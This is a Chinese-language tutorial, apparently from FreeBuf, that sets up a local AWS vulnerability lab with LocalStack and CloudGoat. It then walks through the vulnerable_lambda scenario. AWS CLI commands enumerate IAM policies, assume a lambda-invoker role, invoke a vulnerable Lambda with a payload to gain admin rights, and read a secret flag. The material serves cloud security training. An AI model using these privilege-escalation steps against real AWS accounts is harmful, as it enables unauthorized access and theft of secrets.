基于LocalStack+CloudGoat搭建本地AWS云场景漏洞靶场
2024-8-29 15:56:22 Author: www.freebuf.com(查看原文) 阅读量:7 收藏

0x00引言

随着云计算技术的迭代更新,越来越多企业开始将其业务上云。然而,当云上资产和业务比重逐渐提升,安全问题也日益凸显,云上资产的网络攻击事件开始层出不穷,云上攻防态势也备受关注。

本文通过基于LocalStack+CloudGoat方案在本地环境中搭建仿真AWS云场景漏洞的靶场环境,为了解云上攻防场景、提升云上攻防渗透技能提供学习和练习环境。

0x01基本概念

AWS

AWS(Amazon Web Services)是亚马逊云计算服务,提供包括计算、存储、数据库、分析、联网、移动、开发者工具、管理工具、安全和企业应用程序等超过200项功能齐全的服务和产品。基于高度可靠、可扩展、低成本的AWS基础设施平台,从数据仓库到部署工具,从目录到内容交付,各类企业和公共部门的客户能够按需访问、定制和配置自己的应用服务,以快速响应不断变化的业务需求。通过AWS,企业无需再提前规划和采购服务器和其他IT基础架构,相反,他们可以在几分钟内立即启动成百上千台服务器,这就是云计算的主要优势之一。

AWS CLI

AWS CLI(AWS命令行界面)是用于管理AWS产品的统一工具,通过安装和配置AWS CLI工具,可以使用命令行控制多个AWS产品并利用脚本来自动执行这些服务。AWS CLI提供了对AWS服务的广泛支持,包括计算、存储、数据库、网络、安全策略等各个领域。使用AWS CLI,不仅可以创建、配置和管理AWS资源,运行脚本和命令来管理基础架构,还能创建EC2实例、管理S3存储桶、配置安全规则等。

LocalStack

LocalStack是一个功能齐全的本地云堆栈,主要用于在本地开发和测试AWS应用程序,而无需与AWS进行交互,可以缩短开发时间,减少不必要的AWS支出并消除维护AWS开发人员帐户的复杂性和风险。可以简单理解为,它提供了一个AWS云服务的本地镜像。

CloudGoat

CloudGoat是一个开源、简单的AWS漏洞场景仿真环境,可以用于演示和测试云安全漏洞,旨在帮助安全研究人员和云安全渗透测试人员更好地了解和测试云安全漏洞。

0x02安装环境

这里以 Ubuntu Server 20.04 版本部署为例。

安装部署LocalStack服务

LocalStack官网提供了多种安装部署方式,这里选取基于Docker-Compose方式进行部署。

1、创建docker-compose.yml文件,内容如下:

services:
localstack:
container_name: "localstack-main"
image: localstack/localstack
ports:
- "4566:4566"
- "4510-4559:4510-4559"
volumes:
- "./volume:/var/lib/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"

2、启动Docker容器服务;

docker compose up

3、查看成功启动的容器服务;

docker ps

1724837058_66ceecc27c41a2f09fc41.png!small?1724837058229

安装并配置AWS CLI工具

https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html

AWS CLI的配置文件在 ~/.aws 目录下的 config 和 credentials文件中。

1、下载安装包;

curl “https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip” -o “awscliv2.zip”

2、解压并执行安装;

unzip awscliv2.zip

sudo ./aws/install

3、查看AWS CLI工具版本,确认是否安装成功;

aws --version

1724838209_66cef1414c7611f968295.png!small?1724838209011

4、在config配置文件中添加一个foo用户配置;

vim ~/.aws/config

# config配置文件内容
[profile foo]
aws_access_key_id = barid          # 这是使用云服务认证的AK,因为这里是使用本地LocalStack模拟云服务,所以可以随意创建
aws_secret_access_key = barkey # 这是使用云服务认证的SK,同上
region = us-east-1
output = json
endpoint_url = http://192.168.244.130:4566   # 这里指向本地搭建的LocalStack服务

安装并初始化CloudGoat

可以直接在系统上安装部署CloudGoat,也可以使用CloudGoat容器。(参考:https://github.com/RhinoSecurityLabs/cloudgoat

这里使用CloudGoat容器方式。

1、使用如下命令将本地aws配置挂载在容器中,并进入cloudgoat容器;

docker run -it -v ~/.aws:/root/.aws/ rhinosecuritylabs/cloudgoat:latest

1724898220_66cfdbacbeff95cd6340f.png!small?1724898221577

2、初始化环境;(这里可能遇到Python OSError报错,参看下文Q&A)

./cloudgoat.py config profile

1724901487_66cfe86fd1099b03837ed.png!small?1724901488598

3、配置IP白名单,这里需要配置允许访问cloudgoat漏洞场景的IP白名单列表。(这里配置了Ubuntu宿主机IP,在场景示例中我们将使用宿主机上的AWS CLI工具访问漏洞服务场景)

./cloudgoat.py config whitelist

1724901785_66cfe999a0e113584e804.png!small?1724901786453

到此为止,已经成功在本地搭建了CloudGoat靶场环境了。

0x03场景示例

在这里,我们以CloudGoat中的 vulnerable_lambda (Small / Easy) 场景为例,演示如何启动漏洞场景环境并对其进行测试。官方漏洞场景描述如下:

1724902424_66cfec18c62c503c77b32.png!small?1724902425488

启动场景

1、启动漏洞场景;

./cloudgoat.py create vulnerable_lambda

1724904081_66cff29158b00e7f8c04b.png!small?1724904082026

2、如果成功启动漏洞场景,将生成的 start.txt 文件中的内容配置到AWS CLI的config配置中。

1724904204_66cff30c33d7d5d6ba383.png!small?1724904204858

vim ~/.aws/config

1724911791_66d010af00136b8dde419.png!small?1724911791642

接下来就可以基于bilbo账户配置进行测试了。

测试场景

参考:https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_lambda/cheat_sheet.md

攻击路径如下所示:

1724914720_66d01c2082cad8aa8db03.png!small?1724914722096

在这里,可以使用宿主机上的AWS CLI对上述漏洞场景进行测试。

1、获取bilbo用户的权限

# 查询bilbo用户的ARN和全名

aws --profile bilbo --region us-east-1 sts get-caller-identity

1724912544_66d013a03e53eedb906d4.png!small?1724912544877

# 列出bilbo用户的相关策略

aws --profile bilbo --region us-east-1 iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgid91y1bo3wml

1724913200_66d01630710961bb34164.png!small?1724913201205

# 列出bilbo用户的所有权限

aws --profile bilbo --region us-east-1 iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgid91y1bo3wml --policy-name cg-bilbo-vulnerable_lambda_cgid91y1bo3wml-standard-user-assumer

1724913968_66d019302488bd4949a13.png!small?1724913969474

2、列出所有角色,寻找特权AssumeRole

# 列出所有角色,寻找可被利用的角色

aws --profile bilbo --region us-east-1 iam list-roles | grep cg-

1724914997_66d01d3543050c1d6b7c7.png!small?1724914997956

# 列出角色的所有策略

aws --profile bilbo --region us-east-1 iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgid91y1bo3wml

1724915123_66d01db3d95bf254e3776.png!small?1724915124532

# 创建一个可调用lambdas的AssumeRole hacker

aws --profile bilbo --region us-east-1 sts assume-role --role-arn cg-lambda-invoker-vulnerable_lambda_cgid91y1bo3wml --role-session-name hacker

1724915581_66d01f7ddf89cd4119d5b.png!small?1724915582809

将上述AK/SK添加到AWS CLI的config配置文件中

[profile hacker]
aws_access_key_id = LSIAQAAAAAAALP5XZFYZ
aws_secret_access_key = Us9/yWP/pQ02CY5YO67Y43xNA+FdD6WevDSlBy/D
region = us-east-1
output = json
endpoint_url = http://192.168.244.130:4566

3、寻找可被利用的lambda

aws --profile hacker --region us-east-1 lambda list-functions

1724916135_66d021a7d1ff5228dadb8.png!small?1724916136679

4、查看lambda源代码;

aws --profile hacker --region us-east-1 lambda get-function --function-name vulnerable_lambda_cgid91y1bo3wml-policy_applier_lambda1

5、利用存在漏洞的lambda函数;

创建攻击payload文件 payload.json

1724917037_66d0252d40d398317292a.png!small?1724917037863

发送payload

aws --profile hacker --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgid91y1bo3wml-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload file://./payload.json out.txt

6、bilbo成功取得admin权限;

# 列出secrets

aws --profile bilbo --region us-east-1 secretsmanager list-secrets

1724917411_66d026a3102a092eca2a2.png!small?1724917411756

aws --profile bilbo --region us-east-1 secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:000000000000:secret:vulnerable_lambda_cgid91y1bo3wml-final_flag-BVtbqs

1724917572_66d02744ae89cccb659a3.png!small?1724917573390

0x04Q&A

Q:执行 ./cloudgoat.py config profile 报错如下所示:

1724900820_66cfe5d4706d74ae99d7b.png!small?1724900821112

A:这是由于宿主机本身Ubuntu系统是x86_64架构,而在cloudgoat容器中安装的terraform可执行程序是arm64架构的。因此,我们只需到terraform官网下载amd64架构的可执行文件替换即可。

在容器内依次执行以下命令:

wget https://releases.hashicorp.com/terraform/1.9.5/terraform_1.9.5_linux_amd64.zip

unzip -d terraform terraform_1.9.5_linux_amd64.zip

cp terraform/terraform /usr/bin/terraform

1724901408_66cfe8208ca80ff7774a4.png!small?1724901409202

参考资料

  • AWS:https://aws.amazon.com
  • LocalStack:https://www.localstack.cloud/
  • CloudGoat:https://github.com/RhinoSecurityLabs/cloudgoat
  • Terraform:https://developer.hashicorp.com/terraform/install?product_intent=terraform
  • AWS Role / AssumeRole使用场景及权限验证:https://blog.yasking.org/a/using-aws-role-assume-role.html

文章来源: https://www.freebuf.com/articles/container/409775.html
如有侵权请联系:admin#unsafe.sh